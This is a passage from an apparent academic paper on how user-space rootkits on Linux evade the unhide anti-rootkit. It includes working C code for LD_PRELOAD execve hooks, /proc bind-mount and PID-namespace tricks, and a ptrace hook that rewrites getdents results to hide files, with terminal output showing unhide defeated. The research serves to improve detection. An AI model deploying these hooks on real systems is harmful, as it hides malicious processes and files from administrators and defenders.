unhide-ng on another process. The standard input, standard output
and standard error output of the process that executes unhide-ng are
redirected to this pseudoterminal. The parent process reads from the
pseudoterminal and writes to the pipe. Thus, sed can filter the output,

7The code to implement this function has been borrowed from exercise 65-7 of [38].
The code is too long to be included in this manuscript.
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and the buffering issue disappears.

Before the hook, we can see that unhide-ng detects the hidden process
(we run it with the flag procfs as an example):

# ./unhide -linux --procfs

Unhide 20200120

Copyright 2012 -2020 Yago Jesus , Patrick Gouin & David Reguera aka Dreg

License GPLv3: GNU GPL version 3 or later

http ://www.unhide -forensics.info

NOTE : This version of unhide is for systems using Linux >= 2.6

some rootkits detects unhide checking its name. Just copy the original

executable with a random name

if unhide process crash you can have a rootkit in the system with some bugs

[*] Searching for Hidden processes through /proc chdir scanning

Found HIDDEN PID: 9854

Cmdline: "sleep"

Executable: "/usr/bin/sleep"

Command: "sleep"

$USER=esoriano
$PWD=/home/esoriano/prof/doc/

[*] Searching for Hidden processes through /proc opendir scanning

...

#

After enabling the hooks:

#./ unhide -linux --procfs

Unhide 20200120

Copyright 2012 -2020 Yago Jesus , Patrick Gouin & David Reguera aka Dreg

License GPLv3: GNU GPL version 3 or later

http ://www.unhide -forensics.info

NOTE : This version of unhide is for systems using Linux >= 2.6

some rootkits detects unhide checking its name. Just copy the original

executable with a random name

if unhide process crash you can have a rootkit in the system with some bugs

[*] Searching for Hidden processes through /proc chdir scanning

[*] Searching for Hidden processes through /proc opendir scanning

...

#

If we inspect the file descriptions of the process that is executing unhide-

ng, we can see that it is a pseudoterminal (/dev/pts/9):

# ps aux | grep unhide

root 22952 4.3 0.0 6644 932 pts/9 S<s+ 18:45 0:03 ./unhide -

linux --procfs

# ls -l /proc /22952/ fd

total 0

lrwx ------ 1 root root 64 May 16 18:46 0 -> /dev/pts/9

lrwx ------ 1 root root 64 May 16 18:46 1 -> /dev/pts/9

lrwx ------ 1 root root 64 May 16 18:46 2 -> /dev/pts/9
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This idea can be pushed further: What if we create a program that
provides the pseudoterminal that is used for the shell and all the processes
that it will create? It would be able to filter the output of all programs
executed in by this shell.

Nevertheless, there is a much simpler method to deceive the user and
avoid the detection, which is explained next.

5.2.3 Experiment: Double-personality

Advanced malware usually has split (or double) personality: It exhibits dif-
ferent behaviors depending on the environment it is running.

What if we unset the LD PRELOAD environment variable in the process
that is going to execute unhide-ng? This experiment removes the environ-
ment variable to disable the hooking mechanisms in the process that will run
unhide-ng:

int execve(const char *pathname , char *const __argv[], char *const envp [])

{

int i;

typeof(execve) *legit;

legit = dlsym(RTLD_NEXT , "execve");

if (isunhide(pathname)) {

for (i=0; envp[i] != NULL; i++) {

if (hasprefix(envp[i], "LD_PRELOAD=")) {

envp[i][0] = ’x’;

}

}

}

return legit(pathname , __argv , envp);

}

The third argument of execve is the environment. In this case, the hook
searches the LD PRELOAD environment variable in this array and renames it.
The new name is xD PRELOAD. The process that is going to execute unhide-
ng, and all the processes it is going to create, will not have the LD PRELOAD

variable defined (they will have a variable named xD PRELOAD).
Thus, there will not be differences between the processes seen by unhide-

ng and the processes seen by the tests it runs (e.g. the ps command executed
by unhide-ng). As a consequence, unhide-ng will not detect any anomalies.

5.2.4 Countermeasures

The experiments presented above, rely on detecting that the anti-rootkit is
going to be executed. The anti-rootkit could implement evasion techniques
to avoid being detected by the rootkit. For example, unhide-ng recommends
changing the name of the binary. Evidently, this is not effective enough. The
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rootkit can implement a plethora of techniques to detect the anti-rootkit
binary, from searching for binary signatures in the binary to perform be-
haviour based detection. In the end, it is the old cat-and-mouse game played
by malware and detectors.

Since the arguments for the anti-rootkit come from the parent program,
if this program is malicious, there is little room to counteract this type of
manipulation. The same occurs with the environment variables. If the user-
space tools are not reliable, the user will not be able to inspect these elements
with other tools. For example, checking the arguments or the environment
variables through the /proc files, by executing standard commands (that can
be hooked), is futile.

Likewise, checking the file descriptors of the process executing unhide-

ng from another shell is not a viable solution. As we have already seen, it
is possible to deceive unhide-ng into believing that its standard output is
a pseudoterminal. If the user inspects the file descriptors (by using /proc)
from another shell while unhide-ng is running, the rootkit could still mislead
her in the same way (i.e. changing the output of those commands).

The anti-rootkit could get its parent’s PID and print it, to let the user
check if it is the PID of the shell she is using. Again, this output can be also
modified by the rootkit.

The user could install an alternative shell, such as a statically linked
busybox binary. But, how is this new trusted shell executed? If it is launched
by the hooked shell, we face the same problems again: The malicious shell
can replace the binary, manipulate the output, etc.

To avoid the problem showcased by the double personality experiments,
unhide-ng could print all the PIDs that it sees, to let the user to compare this
list with the list she sees. Nevertheless, we have the same problem again: The
output of the anti-rootkit can be manipulated. Any cryptographic approach,
for example signing the results, would be futile if the rootkit is able to analyze
the memory of the anti-rootkit and find the keys.

Securing the method by which the results of the analysis are communi-
cated to the end user becomes a very difficult problem if the entire user-space
is compromised.

5.3 Playing with namespaces

Linux is a highly advanced, modern operating system that offers a wide
plethora of mechanisms. This richness results in many intricacies. For years,
Linux has incorporated virtualization mechanisms that have enabled the de-
velopment of popular container technologies, such as Docker, etc. Specifi-
cally, Linux provides mechanisms to alter namespaces in various ways. These
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mechanisms can be leveraged to deceive the user-space anti-rootkit.

5.3.1 Experiment: Binding directories

As stated before, process inspection depends on /proc, a concept imported
to Linux from the Plan 9 operating system [39]. Another idea imported from
Plan 9 is the bind mount, available since Linux 2.4. A bind mount makes a
directory subtree visible at another point of the tree. This can be used to
deceive unhide-ng.

In the next experiment, if the hooked execve function detects that unhide-
ng is going to be executed, it calls a custom function named preplaceslash-

proc to replace /proc only for this process.
This is a long function, we will describe it step by step:

1. After declaring all the local variables, it creates a new directory in /tmp

with a random name, by using the mktemp function:

char tmpdir [] = "/tmp/ununhideXXXXXX";

char aux [2048];

char blink [2048];

char btarget [2048];

DIR *d;

struct dirent *e;

char *fakedir;

int fd;

fakedir = mkdtemp(tmpdir);

if (fakedir == NULL) {

return -1;

}

2. It reads all the entries of /proc, skipping the directory of the hidden
process (note that readdir is already hooked to do so). For each
element, it creates a symbolic link in the temporary directory:

d = opendir("/proc");

if (d == NULL) {

return -1;

}

while ((e = readdir(d)) != NULL) {

if (e->d_name [0] == ’.’) {

continue;

}

if (equals(e->d_name , "sys", 3)) {

continue;

}

snprintf(blink , 2048, "%s/%s", fakedir , e->d_name);

snprintf(btarget , 2048, "/proc/%s", e->d_name);

if(symlink(btarget , blink) < 0) {

return -1;

}

}

closedir(d);
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3. It creates the file:

/proc/sys/kernel/pid max

This file is necessary for the correct execution of unhide-ng8. In this
example, we set it to the standard value (4194304):

snprintf(aux , 2048, "%s/sys", fakedir);

if (mkdir(aux , 0700) < 0) {

return -1;

}

snprintf(aux , 2048, "%s/sys/kernel", fakedir);

if (mkdir(aux , 0700) < 0) {

return -1;

}

snprintf(aux , 2048, "%s/sys/kernel/pid_max", fakedir);

fd = open(aux , O_CREAT|O_WRONLY , 0600);

if (fd < 0) {

return -1;

}

snprintf(aux , 2048, "4194304\n");

if (write(fd, aux , strlen(aux)) != strlen(aux)) {

return -1;

}

close(fd);

4. It disassociates the namespace from the rest of proccesses, by calling
the unshare system call. Then, it recursively privatizes the namespace
by calling mount. Finally, it binds the temporary directory (the one
with the symbolic links) over /proc:

if (unshare(CLONE_NEWNS) < 0) {

return -1;

}

if (mount(NULL , "/", NULL , MS_REC|MS_PRIVATE , NULL)) {

return -1;

}

if (mount(fakedir , "/proc", "none", MS_BIND|MS_PRIVATE , NULL) < 0) {

return -1;

}

return 0;

}

The result is that, for the process that executes unhide-ng, there is no
directory entry in /proc for the PID that the rootkit is hiding.

With this trick, we are able to deceive the /proc scans, but not the brute
force search.

Anyway, we can push the namespace manipulating approach further.

8Note that this file can be also exploited to hide processes PID higher than the value.
For example, if we set the maximum PID to the pid that we want to hide minus one, the
brute force search explained in previous sections will not find it.
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5.3.2 Experiment: Changing the PID namespace

The unsharing mechanisms of Linux permit us to disassociate other names-
paces, appart the view of the file tree. We can create new namespaces for
processes.

Suppose the following execve hook:

int execve(const char *pathname , char *const __argv[], char *const envp [])

{

int pid;

int sts;

typeof(execve) *legit;

legit = dlsym(RTLD_NEXT , "execve");

int i,j;

char *argv[MaxArgs] = {"unshare", "-U", "--map -user=0", "--map -group

=0", "-m", "--mount -proc", "-p", "-f", "/tmp/unhide -linux" ,};

if (isunhide(pathname)) {

for (i=9, j=1; i<MaxArgs && __argv[j] != NULL; i++, j++) {

argv[i] = __argv[j];

}

argv[i] = NULL;

for (i=0; argv[i] != NULL; i++) {

fprintf(stderr , "argv[%d]␣->␣[%s]\n", i, argv[i]);

}

switch(pid = fork()) {

case -1:

return -1;

case 0:

legit("/usr/bin/unshare", argv , envp);

exit (0);

}

waitpid(pid , &sts , 0);

exit (0);

}

return legit(pathname , __argv , envp);

}

This hook executes unhide-ng with the unshare command. Note that an
advanced hook could do exactly the same that the command unshare does,
programmatically (i.e. with C code). We show this version for the sake of
simplicity and brevity (given space limits).

The unshare command executes programs in new namespaces. We are
using the following options:

1. -U: Create a new user namespace, that isolates security-related identi-
fiers and attributes (UID and GID credentials, the root directory, keys,
and capabilities).

2. --map-user and --map-group: Execute the program mapping the cre-
dentials of the internal user to the one specified. UID 0 and GID 0 are
the ids for root.

3. -m: Create a new mount namespace for the file tree view.
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4. --mountproc: Mount procfs in /proc. The new /proc will be private.

5. -p: Create a new PID namespace. That is, the existing PIDs in other
namespaces will not be visible to this process.

6. -f: Fork to create a new process to run the program.

If we test these options to execute a new shell in a common shell:

# ps axo user ,pid ,comm | wc -l

447

# unshare -U --map -user=0 --map -group =0 -m --mount -proc -p -f /bin/bash

# ps axo user ,pid ,comm

USER PID COMMAND

root 1 bash

root 8 ps

root@blackbox :/home/esoriano/prof/src/ununhide# exit

exit

# ps axo user ,pid ,comm | wc -l

464

#

We can see that, before executing the new shell, we see more than 400
processes running in the system. Then, we run /bin/bash with unshare.
This bash runs in new namespaces. In its PID namespace, there are only
two processes running. Finally, we exit from the shell, and we can see all the
processes again.

This mechanism is ideal to completely deceive unhide-ng. It works for
all the possible checks (brutedoublecheck, brute, low, procall, procfs,
proc, reverse, and sys). For example:

# ps axo user ,pid ,comm | grep sleep

esoriano 15707 sleep

# export LD_PRELOAD =/tmp/libfakelibc.so

# export UNUNHIDEPID =15707

# bash

# ps axo user ,pid ,comm | grep sleep

# ./unhide -linux --brutedoublecheck

Unhide 20200120

Copyright 2012 -2020 Yago Jesus , Patrick Gouin & David Reguera aka Dreg

License GPLv3: GNU GPL version 3 or later

http ://www.unhide -forensics.info

NOTE : This version of unhide is for systems using Linux >= 2.6

some rootkits detects unhide checking its name. Just copy the original

executable with a random name

if unhide process crash you can have a rootkit in the system with some bugs

[*] Starting scanning using brute force against PIDS with fork()

[*] Starting scanning using brute force against PIDS with pthread functions

#
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5.3.3 Countermeasures

These mechanisms open up the possibility of deceiving the user in multiple
different ways.

The anti-rootkit could try to print the ids of its namespaces, by reading
the files provided by /proc, specifically the contents under /proc/PID/ns.
Then, the user should compare those ids with the ones she sees in the system.
For example, unhide-ng could print the current PID namespace, and the
user could check if it is the PID namespace of the shell in which it has been
executed.

This is an example with a shell launched with the unshare command:

# unshare -U --map -user=0 --map -group =0 -m --mount -proc -p -f /bin/bash

root@blackbox :/proc /62545# ls -l /proc/$$/ns/pid
lrwxrwxrwx 1 root root 0 May 20 18:16 /proc /1/ns/pid -> ’pid :[4026534141] ’

# exit

exit

# ls -l /proc/$$/ns/pid
lrwxrwxrwx 1 root root 0 May 20 18:16 /proc /68607/ ns/pid -> ’pid

:[4026531836] ’

#

We can see that the PID namespaces are not equal. In addition, there is
a command named lsns that would be useful too:

# lsns | grep pid

4026531836 pid 484 1 root /sbin/init

4026534597 pid 1 70918 root /bin/bash

#

Nevertheless, there are several problems:

• Both lsns and ls are user-space programs that could be malicious
(they are dynamically linked binaries).

• The output of the anti-rootkit can be manipulated by the the malicious
shell, as seen in previous sections. Thus, the ids of the namespaces can
be changed and the user would not detect any anomaly.

• In a similar manner, as demonstrated in the previous exeperiments, the
/proc files can be replaced.

• The malicious shell could switch to another namespace if it detects that
the user is trying to inspect these attributes.

Similarly, the anti-rootkit could inspect the file systems that are mounted
in its mnt namespace and print the result, by inspecting /proc. Again, its
output could be manipulated by the malicious shell to hide some selected
mount entries, etc.
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Ultimately, if we cannot trust the output of the anti-rootkit, all of these
countermeasures are futile.

5.4 Debugging the anti-rootkit

In Linux systems, there are powerful mechanisms to debug a process. The
ptrace system call permits a process (the tracer) to observe and control
another process (the tracee).

The tracee must be attached to the tracer. In our case, it is easy: With
the execve hook, we control the creation of the tracee.

Once the process is attached, the tracee will block whenever a signal is
delivered and the parent, the tracer, will be notified. Other actions are also
notified, for example, when the tracee performs a system call. In addition,
the tracer has total control over the tracee’s memory. This is extremely
powerful.

5.4.1 Experiment: Hooking the system calls with ptrace

The debugging mechanisms can be used to hook a program at the lowest level,
that is, to hook the system calls directly. Note that none of the countermea-
sures described in Section 5.1.2 (i.e. statically linked binaries, assembly code
for system calls, etc.) can prevent this kind of hooking, because we are not
hooking the libc code by using dynamic linking tricks: We are hooking the
real system calls directly.

In the following experiment, we will focus on file hiding exclusively, for
simplicity9.

Suppose the following anti-rootkit code10 (we omit headers, data types,
etc., for the sake of brevity):

int main(int argc , char **argv)

{

int fd, nread;

char buf[BUF_SIZE ];

struct linux_dirent *d;

int bpos;

char d_type;

fd = open(argc > 1 ? argv [1] : ".", O_RDONLY | O_DIRECTORY);

if(fd == -1)

handle_error("open");

for( ; ; ) {

9Note that we could hook all the system calls performed by unhide-ng following the
same approach.

10We borrowed this program from a blog post named Bypassing LD PRELOAD Rootkits
Is Easy [31].
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nread = syscall(SYS_getdents , fd, buf , BUF_SIZE);

if(nread == -1)

handle_error("getdents");

if(nread == 0)

break;

printf("----␣nread =%d␣-----\n", nread);

printf("i-node#␣␣file␣type␣␣d_reclen␣␣d_off␣␣␣d_name\n");

for(bpos =0; bpos <nread; ) {

d = (struct linux_dirent *)(buf+bpos);

printf("%8ld␣␣", d->d_ino);

d_type = *(buf + bpos + d->d_reclen - 1);

printf("%-10s␣", (d_type == DT_REG) ? "regular" :

(d_type == DT_DIR) ? "directory" :

(d_type == DT_FIFO) ? "FIFO" :

(d_type == DT_SOCK) ? "socket" :

(d_type == DT_LNK) ? "symlink" :

(d_type == DT_BLK) ? "block␣dev" :

(d_type == DT_CHR) ? "char␣dev" : "???");

printf("%4d␣%10 lld␣␣%s\n", d->d_reclen ,

(long long) d->d_off , d->d_name);

bpos += d->d_reclen;

}

}

return 0;

}

This simple program:

1. Opens the directory.

2. Reads some directory entries with the getdents system call. The pro-
gram uses the syscall function of the C library, to perform the system
call through assembly code, skipping the common stubs.

3. Decodes the directory entries and prints them in the standard output.

If we compile and link the program to create a statically linked binary,
the LD PRELOAD hooks would be bypassed.

Before using the program:

# ls -l

total 20

-rw-r--r-- 1 root root 5 May 18 17:57 666

-rw-r--r-- 1 root root 6 May 18 17:01 a.txt

-rw-r--r-- 1 root root 6 May 18 17:01 b.txt

-rw-r--r-- 1 root root 6 May 18 17:01 c.txt

-rw-r--r-- 1 root root 6 May 18 17:01 d.txt

# export LD_PRELOAD =/tmp/libfakelibc.so

# export HIDE =666

# ls -l

total 20

-rw-r--r-- 1 root root 6 May 18 17:01 a.txt

-rw-r--r-- 1 root root 6 May 18 17:01 b.txt
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-rw-r--r-- 1 root root 6 May 18 17:01 c.txt

-rw-r--r-- 1 root root 6 May 18 17:01 d.txt

#

As seen, ls cannot see file named 666, but the program listed above is
able to find it:

# ../ detect/getdents

--------------- nread =200 ---------------

i-node# file type d_reclen d_off d_name

31881 regular 32 377938470045594440 c.txt

31885 regular 32 1778773840373329570 d.txt

31886 regular 24 3486724533448885552 666

94 directory 24 5311873844927646016 ..

31878 regular 32 5397984260244169745 b.txt

31869 regular 32 7605106200309854936 a.txt

31868 directory 24 9223372036854775807 .

#

Let’s use this example to illustrate the power of the debugging mecha-
nisms.

The following execve hook creates a new process for the anti-rootkit
(i.e. the tracee). This process calls ptrace before executing the anti-rootkit.
Thus, the new process is already attached and ready to be debugged. Then,
it removes the LD PRELOAD variable from the environment (to avoid inter-
ferences) and executes the anti-rootkit. The tracer just calls the custom
function trace, passing the PID of the tracee. We omit error handling in all
functions for the sake of brevity:

int

execve(const char *pathname , char *const __argv[], char *const envp [])

{

typeof(execve) * legit;

legit = dlsym(RTLD_NEXT , "execve");

int pid;

int i;

if (isdetector(pathname)) {

pid = fork();

switch (pid) {

case -1:

exit (0);

case 0:

ptrace(PTRACE_TRACEME , 0, 0, 0);

for (i = 0; envp[i] != NULL; i++) {

if (hasprefix(envp[i], "LD_PRELOAD=")) {

envp[i][0] = ’x’;

}

}

legit(pathname , __argv , envp);

exit (1);

default:

trace(pid);

exit (1);

}

}
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return legit(pathname , __argv , envp);

}

The custom function isdetector returns true if the binary has to be
hooked with ptrace. For example, this function could check if the binary is
statically linked or its code segments include syscall instructions (or follow
any other approach cited in previous sections).

This is the trace function:

enum {

SyscallExit = 70,

SyscallExitG = 231,

SyscallGetdents = 78,

WordLen = sizeof(long),

};

static void

trace(int pid)

{

struct user_regs_struct regs;

long syscall;

long nbytes;

void *addr;

waitpid(pid , 0, 0);

ptrace(PTRACE_SETOPTIONS , pid , 0, PTRACE_O_EXITKILL);

for (;;) {

ptrace(PTRACE_SYSCALL , pid , 0, 0);

waitpid(pid , 0, 0);

ptrace(PTRACE_GETREGS , pid , 0, &regs);

syscall = regs.orig_rax;

if (syscall == SyscallGetdents) {

addr = (void *)regs.rsi;

}

ptrace(PTRACE_SYSCALL , pid , 0, 0);

waitpid(pid , 0, 0);

ptrace(PTRACE_GETREGS , pid , 0, &regs);

if (syscall == SyscallGetdents) {

nbytes = (long)regs.rax;

if (nbytes > 0) {

hidedents(pid , addr , regs);

}

} else if (syscall == SyscallExit ||

syscall == SyscallExitG) {

exit (0);

}

}

}

This function configures the options to kill the tracee if the tracer dies.
Then it starts a loop that:

1. Waits for a system call in the tracee. When the tracee is going to
perform a system call, it is blocked and the tracer is notified.

2. Gets the values of the processor’s registers of the tracee before entering
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the kernel to perform the system call (i.e. it captures the context of
the tracee).

3. If the system call is getdents, the address of the buffer (passed in the
second parameter of the system call) is stored in addr. This address is
stored in the RSI register.

4. Waits for the system call completion.

5. Gets the values of the processor’s registers fo the tracee after returning
from the kernel.

6. Gets the result if the system call was getdents. The result of the
system call is always stored in the RAX register. In this case, this
value is the number of bytes read from the directory (or -1 if the system
call failed). It calls the custom function hidedents to manipulate the
directory entries returned by getdents. Note that those entries are
values in the tracee’s memory (i.e. this data is not in the memory
space of the current process, the tracer).

7. Checks if the system call was exit (or similar). In this case, the tracee
is dead and the tracer must finish.

The function hidedents is:

static void

hidedents(int pid , void *addr , struct user_regs_struct regs)

{

long nbytes;

char *buf;

int i;

long word;

char *p;

nbytes = (long)regs.rax;

buf = malloc(nbytes);

if (buf == NULL) {

err(1, "malloc");

}

for (p = buf , i = 0; i < nbytes; i += WordLen , p += WordLen) {

word = ptrace(PTRACE_PEEKDATA , pid , ((char *)addr) + i, 0);

if (word == -1 && errno != 0) {

err(1, "ptrace␣peekdata");

}

*(( long *)p) = word;

}

nbytes = replacedents(buf , nbytes);

for (p = buf , i = 0; i < nbytes; i += WordLen , p += WordLen) {

word = *(( long *)(buf + i));

ptrace(PTRACE_POKEDATA , pid , addr + i, word);

}

regs.rax = nbytes;

ptrace(PTRACE_SETREGS , pid , NULL , &regs);
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free(buf);

}

This function:

1. Allocates a dynamic buffer to store the directory entries read by the
tracee.

2. Reads, from the tracee’s memory, the buffer where the directory entries
were stored. It uses the PEEKDATA option, that is used to read memory
words from the tracee’s memory.

3. Calls replacedents, the custom function that will search the hidden
file in the entries of this buffer and remove it.

4. Writes the directory entries back to the tracee’s memory. It uses the
POKEDATA option, that is used to write memory words to the tracee’s
memory. If the hidden file was found and removed from the list, the
tracee will not see the hidden file.

5. Writes the registers with the new value for RAX (i.e. the number of
bytes of the buffer that holds the directory entries).

Finally, the replacedents function is:

static int

replacedents(char *buf , int len)

{

int offset;

int newoffset;

struct linux_dirent *d;

char *newb;

char *hide;

hide = getenv("HIDE");

if (hide == NULL) {

return len;

}

newb = malloc(len);

if (newb == NULL) {

err(1, "malloc");

}

for (newoffset = 0, offset = 0; offset < len;) {

d = (struct linux_dirent *)(buf + offset);

if (! equals(d->d_name , hide)) {

memcpy(newb + newoffset , (char *)d, d->d_reclen);

newoffset += d->d_reclen;

}

offset += d->d_reclen;

}

if (offset == newoffset) {

free(newb);

return len;

}
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memcpy(buf , newb , newoffset);

free(newb);

return newoffset;

}

This function:

1. Gets the name of the hidden file.

2. Allocates a new buffer to make a copy of the original one (but hiding
the corresponding file).

3. Iterates over the directory entries looking for the hidden file. If the
hidden file is found, it is skipped. The new buffer will not contain this
entry.

4. Returns the original buffer size (and the original buffer is not modified)
if the hidden file was not found.

5. Returns the new buffer size (and replaces the data of the buffer) if the
hidden file was found and removed.

After all these steps, the tracee will resume its execution with the ma-
nipulated list of directory entries. The hidden file will not be found in this
list.

Before activating the hooks:

# ls -l

total 20

-rw-r--r-- 1 root root 5 May 18 17:57 666

-rw-r--r-- 1 root root 6 May 18 17:01 a.txt

-rw-r--r-- 1 root root 6 May 18 17:01 b.txt

-rw-r--r-- 1 root root 6 May 18 17:01 c.txt

-rw-r--r-- 1 root root 6 May 18 17:01 d.txt

# ../ detect/getdents

-------- nread =200 --------

i-node# file type d_reclen d_off d_name

31881 regular 32 377938470045594440 c.txt

31885 regular 32 1778773840373329570 d.txt

31886 regular 24 3486724533448885552 666

94 directory 24 5311873844927646016 ..

31878 regular 32 5397984260244169745 b.txt

31869 regular 32 7605106200309854936 a.txt

31868 directory 24 9223372036854775807 .

#

After activating the hooks:

# export LD_PRELOAD =/tmp/libfakelibc.so

# export HIDE =666

# bash

# ls -l

total 16
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-rw-r--r-- 1 root root 6 May 18 17:01 a.txt

-rw-r--r-- 1 root root 6 May 18 17:01 b.txt

-rw-r--r-- 1 root root 6 May 18 17:01 c.txt

-rw-r--r-- 1 root root 6 May 18 17:01 d.txt

# ../ detect/getdents

-------- nread =176 -------

i-node# file type d_reclen d_off d_name

31881 regular 32 377938470045594440 c.txt

31885 regular 32 1778773840373329570 d.txt

94 directory 24 5311873844927646016 ..

31878 regular 32 5397984260244169745 b.txt

31869 regular 32 7605106200309854936 a.txt

31868 directory 24 9223372036854775807 .

#

Note that if we can stop and debug the memory of the tracee, we have
many other alternatives. This experiment would suffice to illustrate the
power of deception of the ptrace mechanisms.

5.4.2 Countermeasures

To find hidden files, the anti-rootkit could extract the list of directory entries
directly from the EXT4 partition, reading and interpreting the file system’s
metadata (that is, the i-nodes and the data blocks and extents). The problem
is that the anti-rootkit has to perform system calls (e.g. open and read) to
read the data directly from the block device (e.g. /dev/sda1). What if these
system calls are hooked like getdents in the previous experiment?

The anti-rootkit could check if it is being debugged with ptrace by in-
specting /proc:

# cat /proc /28149/ status | grep Trace

TracerPid: 28146

#

This line shows the PID of the tracer (or 0 if the process is not being
traced). We have the same problem again: /proc can be manipulated to
fake this information. Moreover, a new system call hook could be activated
if the tracee tries to read this file.

There another anti-debugging methods that the antirootkit could imple-
ment. For example, it could call ptrace to avoid being traced by other
processes [40] (if it fails, it means that other process is tracing you).

The rootkit can detect if the anti-rootkit is going to try this trick, by
inspecting the libraries and find calls to ptrace. In this case, the anti-rootkit
could be patched by the rootkit before being executed, as shown in previous
experiments.

In addition, the ptrace system call can be hooked in order to return
success to the anti-rootkit even when it is being traced. It would be simpler
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than the example presented before: We only have to replace the system call
return value (just modifying the RAX register).

Different strategies commonly used by malware for evasion could be fol-
lowed by the anti-rootkit, for example, to act like packers and cryptors (com-
pressing and cyphering the code) to evade the detection, use self-modifying
code, etc.

6 Discussion

The experiments presented in the previous sections give us an idea of how
hard it can be to detect user-space rootkits by using user-space tools in mod-
ern operating systems like Linux. We argue that any effort in this direction
is unproductive.

The main problem is that the anti-rootkit is executed by the rootkit.
They run at the same security level and the rootkit controls the creation of
the process that executes the anti-rootkit, its input/output configuration, its
environment, its arguments, and so on. This is a particularly unfavorable
position from which to perform detection without interference. Running at
the same privilege level, the detector is inherently disadvantaged.

This holds true for any system. However, if we focus specifically on Linux
systems:

• Dynamic linking is ubiquitous in Linux. This worsens the problem.
Virtually all system tools may be hooked.

• Namespace manipulation and other mechanisms used for system-level
virtualization introduce a wide range of potential opportunities for mis-
leading behavior.

• The /proc mechanism is the primary means for inspecting the system.
Although the file system-based interface is very convenient, we have
seen that it can be compromised in various ways.

In any case, even if all this information were retrieved through conven-
tional system calls (since much of the information provided by procfs

and other synthetic file systems can be obtained via system calls), we
have also seen that these could be modified as well.

In our study, we did not delve into other system mechanisms that could
also be exploited to deceive a user-space anti-rootkit. For example, SUD
(Syscall User Dispatch) [41] is another mechanism that can be exploited to
emulate system calls (it was used by emulators like Wine). Another example

39



is ftrace [42], a framework of different tracing utilities. There may be other
examples. However, with the mechanisms we have studied, we have identified
several ways to deceive unhide, a widely used anti-rootkit tool present in
most mainstream Linux distributions. We have also evaded detections that
are currently considered effective within the industry and the cybersecurity
community (statically linked programs, direct system calls, etc.).

The problem of detecting the execution of an anti-rootkit by the rootkit
is a thorny one. We have been familiar with this seek-and-hide issue for a
long time (AV vs. malware); the only difference here is that the roles are
reversed: it is now the good actor who must avoid detection, and the bad
actor who plays the role of the detector.

Given these considerations, it is reasonable to consider that an advanced
adversary (or APT) with sufficient resources (both human and material) and
time to develop malware, is capable of creating a user-space rootkit that is
virtually undetectable in user-space.

7 Conclusions

In this work, we aim to address the question of whether it is reasonable to at-
tempt the detection of rootkits (or malware in general) using user-space tools,
rather than relying on kernel-space components. Despite the widespread as-
sumption that user-space rootkits can be easily detected, this assumption
does not hold true.

In order to address this question, we demonstrate, through a series of
custom-designed experiments conducted specifically for this study, that cur-
rent user-space tools can be deceived by certain techniques we have devised,
namely: common dynamic linking hooking, binary subversion, input and
ouput interference, double personality, namespace manipulation, and low
level system call hooking with debugging mechanisms.

For most of these experiments, we focused on the concealment of malicious
processes, aiming to deceive a widely used Linux detection tool named unhide
(both the standard version and the experimental version). We were able to
circumvent all of its detection mechanisms using only a few lines of (non-
trivial) code.

The conclusion reached by the authors is that investing effort in design-
ing and developing user-space tools for detection without any help from the
kernel is not worthwhile. In any case, the study may contribute to the im-
provement of current detection tools like unhide.

Another conclusion is that, even when detection is performed within the
kernel, the challenge of reliably communicating the scan results to the user
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remains a highly delicate issue. This cannot be done through the execution
of user-space tools, as the detection results could be manipulated in the same
way as those of a user-space rootkits. This is a far more complex problem
than it appears at first glance. Any detection must be communicated to
the user through a channel that cannot be tampered with by user-space
components.

This opens up potential avenues for future works, like communication
components running in the kernel and or new hardware devices connected
in such a way that the operating system kernel communicates with them
directly to present the results of the scan, bypassing user-space entirely.
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